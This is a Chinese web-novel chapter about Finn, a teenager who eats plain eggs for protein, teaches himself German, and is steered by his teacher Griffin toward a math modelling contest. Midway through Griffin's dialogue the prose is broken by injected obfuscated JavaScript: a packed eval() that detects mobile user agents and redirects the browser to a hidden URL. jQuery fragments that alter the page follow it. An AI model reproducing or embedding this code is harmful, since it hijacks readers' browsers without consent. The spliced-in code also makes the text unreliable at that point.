最考验人的，往往是练到浑身散架之后。
身体像个被抖空的面口袋，每一丝力气都榨干了，只剩下本能在嗷嗷叫着要补给。卡洛斯变戏法似的从包里摸出一条巧克力，糖纸窸窣一响，他咬下老大一口，脸上立刻漫起那种纯粹的、近乎痛苦的舒坦。“活过来了……”他含混地呻吟，嘴角沾着黑亮的糖渍。
旁边，芬恩正剥开今天第三颗白水煮蛋。蛋白滑溜溜，蛋黄粉扑扑，躺在掌心，一副任人宰割的寡淡模样。他瞟了一眼卡洛斯手里那油润发亮、甜腻气直往鼻子里钻的巧克力块，喉结不明显地动了一下。然后他垂下眼，把蛋整个塞进嘴里，机械地嚼。味蕾上摊开的，是蛋白质最诚实也最无聊的滋味，像在嚼一团受过训练的棉花。他得灌下好几口水，才能顺当地咽下去。
“真不来点？”卡洛斯被他那副专注又受苦的吞咽相搞得心里发毛，把巧克力递过来，“就一口，毒不死你。”
芬恩摇头，拿起水壶：“糖。冲得太猛，跌得太惨，对续航没好处。”他又拿起了第四颗蛋，“身体这时候要的是慢烧的柴，不是泼汽油点火。”
卡洛斯缩回手，嘀咕：“我看你的‘柴’首先需要点香味儿……你看这蛋的眼神，比看沃伊切赫发火还狠。”他几口消灭了剩下的巧克力，舔着手指头，心里那点说不清的不安却没散——他这朋友，好像在搞一种他完全弄不明白的、用鸡蛋进行的残酷修行。
芬恩没接话。他脑子里有本账，是从图书馆那本《青少年运动员营养基础》里硬扒出来的，又被他用自己的话重写了一遍：
身体是辆车，训练就是狠造。蛋白质是修车的零件。
零件不够，车就跑不远，还容易散架。
每天要补的零件数 = 基础数 + 今天造得多狠×造了多久 - 三餐里那点零碎。
鸡蛋，是零件店里最便宜的货。难吃，但顶用。
所以当他咽下那颗白水蛋时，他尝到的不是味道，是进度。“一个蛋，六个零件。今天还差三十四个。” 满足感是假的，账本上的数字是真的。他用舌头受罪，去买身体能多扛五分钟、拦截更凶一点的可能性。这不是吃饭，是投资。投资那个未来在场上不那么容易被打垮的自己。
身体的账一页页翻过去，另一本更隐晦的“账”，也在图书馆最安静的角落悄悄记着。
那儿有本蒙灰的德语入门书和一本边角卷起的德英词典。不是闲得无聊，是芬恩自己摸过来的。施耐德这个姓，金发蓝眼这些记号，像几个微弱的信号，指向一片他没去过却跟自己扯着线的土地。他没那么多多愁善感，这只是一种冰冷的溯源——他想弄明白，自己身上这股总想给一切混乱找秩序、立规矩的别扭劲儿，到底是从哪块土里冒出来的。德语，是他能想到的、碰触那片土壤最直接（哪怕笨拙）的工具。进度慢得像在解一道没给答案的题，但他习惯了。他记单词不像学说话，更像往一个空系统里，艰难地录入最基础的原始数据。
几天后的黄昏，格里芬老师在图书馆那排书架尽头找到了他。老师没穿正装外套，袖子挽着，手里拿着几张打印纸，脸上表情有点说不清的玩味。
“史密斯，”他压低了点声音，示意芬恩跟他到旁边的研讨小隔间，“有样东西，你或许该看看。”
芬恩合上德语书，跟了过去。
格里芬老师把纸摊在桌上，手指点了点。“我有个老朋友，汉斯，在德国慕尼黑教书。我们年轻时都干过傻事，比如琢磨用数学公式去套足球比赛。”老师嘴角扯了一下，像是想起什么荒唐事，“前几天我收拾东西，看到你画的那张……嗯，‘战术草图’，不知怎么的就想起了他，顺手拍了张照，当个趣事发给他看了。”
他推过来一张打印的邮件截图，上面是德文和英文夹杂。芬恩看到了自己那张草图的扫描件，被嵌在邮件里。
“结果这老家伙，”格里芬老师语气里带着点哭笑不得的佩服，“他没当笑话看。他回了这么一篇。”他指向下面大段的英文翻译，“他说你这图，‘有股子用尺子量足球场的愣劲儿’，想法是好的，知道看空当，但毛病是把人都当钉子钉死了。真踢起来，人是活的，那股冲撞拉扯的‘劲儿’是流动的。他还说，你假想的传球线路，没算防守的人一转胯，能罩住多大一片地方。”
芬恩的视线牢牢钉在那些字句上。流动的劲儿……转胯的覆盖扇面…… 他脑子里那些朦胧感觉到、却一直抓不住的碎片，忽然被这几句陌生的话擦亮了，拼出了更清晰的形状。
格里芬老师观察着他的反应，继续道：“他还给了份书单，说如果你想继续这种‘愣劲儿’，这些或许能帮你把尺子升级一下。”老师指了指后面几页印着《基础物理概念》《几何与空间》等书名的纸。
最后，格里芬老师点了点邮件末尾处，那儿留着两三行没被翻译的原始德文。“喏，这是他原话的最后几句，我还没来得及细翻。大概就是老生常谈。”
芬恩的目光落在那片曲里拐弯的字母上。Richtung（方向）、Entscheidung（决定）、kosten（代价）……这几个词，像钥匙轻轻探进了他这些天默默打磨的锁孔。不是严丝合缝，但齿痕对上了一多半。那片因自学而依然混沌的德语沼泽里，突然浮出了几块坚硬的石头。
“后面……”芬恩抬起头，声音不高，但很稳，“是不是在说，‘跑错了路，力气白费。想拿好处，总得用别的什么去换’？”
格里芬老师正要拿保温杯的手停在了半空。他转过脸，重新打量起眼前这个过分安静的学生，镜片后的眼神里闪过清晰的讶异。“你……在学德语？”
“刚开始。”芬恩指了下桌上合着的入门书，又指指纸上那几个词，“正好认得这几个。猜的。”
“刚开始学，就敢靠几个词猜整句意思？”格里芬老师的语气变了，少了点老师的俯瞰，多了点研究者碰到意外变量时的探究。
芬恩想了想，像是在组织一种更精确的表达：“词是坐标，句子是连线。抓住一两个确定的点，就能试着描出大致的走向。”他用了最顺口的比喻，“就像在场上，看见对方中卫老是回头瞄某个空当，就算球还没过去，也知道那边可能漏人了。”
小隔间里安静了几秒。格里芬老师慢慢拧开杯盖，喝了口茶，再开口时，声音里掺进了一种新的东西，像是从一块寻常的矿石上，瞥见了意料之外的稀有光泽。
“意思差不多。汉斯这家伙说话向来硬邦邦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179352|196939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的，他就是这个意思：路错了，跑死也没用；想得到点什么，总得付出点别的。”老师收起那几张纸，目光落在他手边那本德语书上，又移回他脸上，像是终于下定了某个决心。
“对了，史密斯，”老师的语气恢复了平常布置任务时的干脆，“下个月初，有个‘州际青年数学建模挑战赛’。不是那种死板的考试，是给个现实问题——比如优化公交线路、预测图书馆借阅潮——让你组队，用数学方法建个模型去解决，最后交一份报告。三人一队。”
芬恩抬起眼，没说话，但眼神里的询问很明确。
“我打算推荐你去。不是因为你数学考试分数高，”格里芬老师顿了顿，指尖在桌上那张印着德文书单的纸上敲了敲，“而是因为，你无时无刻不在干这件事——建模。在你眼里，足球场是模型，身体消耗是模型，连学德语都像在搭建语言模型。这个比赛，只是给你那套野路子的思维方法，一个正式的名字和擂台。”
他身体微微前倾，声音压得更低，带着一种近乎 conspiratorial（共谋般的）认真：“去试试。把你用在鸡蛋、足球和德语上的那股劲儿，用到一个‘正经’问题上去。看看你那套自己长出来的‘建模’本事，离开你熟悉的沙盘，在别人的规则里还能不能转得动。这本身，”他意味深长地看了芬恩一眼，“就是最有价值的诊断。”
芬恩沉默了片刻。州际比赛、组队、现实问题、报告……这些词超出了他日常生存的范畴。但“建模”那个词，像一颗子弹正中靶心。原来他一直摸索的事，有这样一个名字。
“好。”他回答，没有多余的话。
“队伍另外两个人，我来找。你需要做的，就是在接下来几周，把你那些……‘野路子模型’，试着讲给可能听不懂的队友听。这也是练习。”格里芬老师站起身，准备离开，最后丢下一句，“对了，汉斯书单里那本《决策入门》，或许对你准备这个比赛有点用。虽然它可能根本没提‘数学建模’四个字。”
他舌根好像还留着蛋黄噎人的粉感，鼻尖却晃过巧克力虚妄的甜腻气，而脑子里，正清清楚楚地回响着那几个德语词生硬的发音，和他自己那句糙糙的翻译：
跑错了路，力气白费。想拿好处，总得用别的什么去换。
这道理，他好像早就用自己的日子一寸寸磨明白了。只是头一回，有人用另一种语言，这么干脆地说了出来。
他用鸡蛋投资身体，用德语触碰源头，而现在，他将用一场名为“数学建模”的比赛，去检验和淬炼他赖以生存的真正武器——他那套将世界不断拆解、量化、再重组的思维方式。
这不再是偷偷摸摸的“怪癖”，这是一次即将拿到阳光下、接受审视和评判的能力核验。
芬恩收起德语书和那张宝贵的打印纸，走向图书馆的计算机区域。他需要先查查，所谓“数学建模挑战赛”，到底长什么样。
路还长得看不见头，梯子也不知道在哪。但他觉得，自己好像刚刚亲手摸到了第一级台阶的边——不是木头，不是铁，是种更韧的、叫“可能性”的东西。这头连着他正用鸡蛋和秒表死磕出来的身体，那头，连着那片用陌生话讲着同样残酷道理的、貌似是父辈的土地。